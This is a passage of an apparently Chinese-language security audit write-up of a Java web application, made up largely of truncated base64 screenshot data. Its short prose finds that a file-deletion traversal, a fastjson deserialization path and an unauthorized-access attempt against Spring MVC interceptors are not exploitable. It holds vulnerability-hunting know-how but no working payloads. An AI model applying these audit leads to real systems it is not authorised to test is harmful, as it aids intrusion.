/nyG/1ReZVt38IjJaEpwzEHQyGMmTncuz6DQosK2TT5xyz/SJi5jdroPOr37+OHp6feUySEhK0gl53LUyi0adDiZ3DYQV1VI7vODDI8B3lmg9DnUPGe97B2eQ5msxEVXpyDHbQcfoU3XjzGwAQvNSFUpGy+i+uvLycrzYxK8mBvb6Dqjed582BLVKhVkXEnj35lJ+ZjT/KjQ1ncdtd6spI0+Ac7aD70Z3a/dBbHDN5XCvVx4o0T3Lh8CxkFxbDn8FjnLYQC65r3sP3m1eSkJ6IMuRlur+HsnufZf6RzUqijWN5XFN7Hp79wA6p3fsh3f3EmKp+CD3+X92/wzzp8m9Bt56+/dz85UfJt4cGfbIlK1/TM3/HUnjmE9JBlobr58xhWrESuCSK6K3Hv/nf8YuolYSFUyJd/DMPmHaiSbSCcBLuO4T34I1xnGuc8aJpp/kJ7H4n/8HlUUc+7E8s/3xmVn2/XbQwe7Jub/KkbUZkgcPI1vNyAPnsN6jRwdUbIHaM8s5Zflopy44fQlW9EmZiEjCGCfXX4Kn+C49gZEBO/RyXypR9Fv2kH6tQUwElooB7fiV/gePsQTPN9SaWfwnTTbSjNeoT9Ar6TP8G+98BYeiGy0H3yWQyBXzDcsAr9hmJo+xVDv30d5T3fxlCQQKjpWYae+RFBd2SIopmXf2S46b6TJReXZ5blGUmov5emaSYOQihZtikRlW+YN58ZN/gCSJJgoLKZdyoSuKnAQqGuhzMXOeJRCvk5fWCQraU20nKNsK8/Ql9JJJaLine truncated
|
||||
可以看到id的类型为int 无法进行目录穿越进行任意文件删除</p>
|
||||
<h1 id=toc-4>fastjson</h1>
|
||||
<p><a id=img21 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707820751933-4e98e0fe-ee63-48ed-a181-ae731c734bb6.png#averageHue=%231f2124&clientId=u7eb54710-2f09-4&from=paste&height=308&id=ue7ca0275&originHeight=462&originWidth=1081&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=61752&status=done&style=none&taskId=uef64ab03-2215-423a-b0fa-f95d1c8e76f&title=&width=720.6666666666666"><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABDkAAAHOCAYAAACSIdISAAAgAElEQVR4nOzdeXxV1b3//9fOPA8EQkJCRkhCwihCGMMMChUVR77VWuzwa29rr7TaXq3Wtvbbql/1tldr7bXUeaoTFkFBcAAZJGFQSEKChCRkIiNJTuZh//7IQCZCTgYIh/fz8eChOWeftT97rbX3Z5+1917HCAmNMBERERERERERucTZXewAREREREREREQGgwY5RERERERERMQmaJBDRERERERERGyCBjlERERERERExCZokENEREREREREbIIGOURERERERETEJmiQQ0RERERERERsggY5RERERERERMQmaJBDRERERERERGyCBjlERERERERExCZokENEREREREREbIIGOURERERERETEJmiQw4aYXmP48fpl/HX9FOI9zYsdjoiIiIiIiMgFpUEOG+I+bRyro32JiI7m2qmOFzscERERERERkQtKgxzDlGmO4u7Hb2LL49OZZvbtroyq9BwOlTVSW1bAvvSGIY5QREREREREZHhxuNgByOAx8jO4/76Mtr8uaiwiIiIiIiIiF9qQ3slhuHuzfM0sbovV/BCXCzM2ll+vCWGc+8WORERERERERC43Q3Inh+HuzbIVcdw0P4gglwZ2fHP2PTMojuceiCXg0F6+u8eLu66NZFKgE3ZVFpITk/nbe6fIazp7F4JpunDrfddwR2ghzzyYjMcN01gZ5YmPYyOFJ3N5951DbMlu7rR+07Rj/JxJ3LYwmNhAF1yNRkrzitj76VFe2FtOrWH0O56W8g1CZ0zkjqVjmTjGDdfmeorzC9m5/SivJlXSYPQvftM9gscfn85Eo+P6Ivnj3yM7rf/o2xu5d3t9a/mjWP/EQlZ4GOdcpitr4gcw3Xz51jUTWTXZhwAfF5xpoLzUQkpSKi9sziGnscPyjh5cuSyOOfPj2L8rmVe3ZvNNVY9hiIiIiIiIiAwqe28f398OVmGGuzfLr5nOf62bxvJod2pOZPDKy/t4ObkRs+2Ls5c/qxNG4WFxZHxCIB55RaTn1+E4agQToscy0/U0m49W09z+RduBifOjmepTi93oCGZ6V5KadYYy3ImMGMWsyW6k78ptH4gwTRi/ajGP3RxMiFMd6WkFpBc24T02kBkzwphq5rEtvRb6GY9pQvjyRTzx7RDCnGo5lnaa40VN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 truncated
|
||||
1.2.83 ,但是代码中并未使用paresobject<br>
|
||||
<a id=img22 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707820881907-1b67510e-adcc-4f30-a286-6b49f96e5456.png#averageHue=%232e3239&clientId=u65c6d588-2f43-4&from=paste&height=313&id=u3adbff2d&originHeight=469&originWidth=990&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=110408&status=done&style=none&taskId=u73ec69e0-7272-4941-be64-45bc5e7134a&title=&width=660"><img src="data:image/png;base64,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 truncated
|
||||
参考<a href=https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/ target=_blank>https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/</a></p>
|
||||
<h1 id=toc-5>失败的未授权记录</h1>
|
||||
<p><a id=img23 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707829885269-2145b7d0-aa25-41e2-b220-44abd1b08ec6.png#averageHue=%23202226&clientId=u65c6d588-2f43-4&from=paste&height=207&id=uf6e227bc&originHeight=310&originWidth=1530&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=66040&status=done&style=none&taskId=u4c53b968-4aed-4220-9840-ec81ba9717a&title=&width=1020"><img src="data:image/png;base64,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 truncated
|
||||
鉴权系统为Spring Web MVC 拦截器<br>
|
||||
这里主要看<code>excludePathPatterns</code>要走<code>loginAuthenticator</code>和<code>installInterceptor</code><br>
|
||||
<a id=img24 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707830088722-2ace49da-771d-4854-94f7-19f7baef7fd1.png#averageHue=%231f2024&clientId=u65c6d588-2f43-4&from=paste&height=334&id=ub48b2f3a&originHeight=501&originWidth=1419&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=63820&status=done&style=none&taskId=u8d6f60ab-4afb-421b-9cd4-538e87c751b&title=&width=946"><img 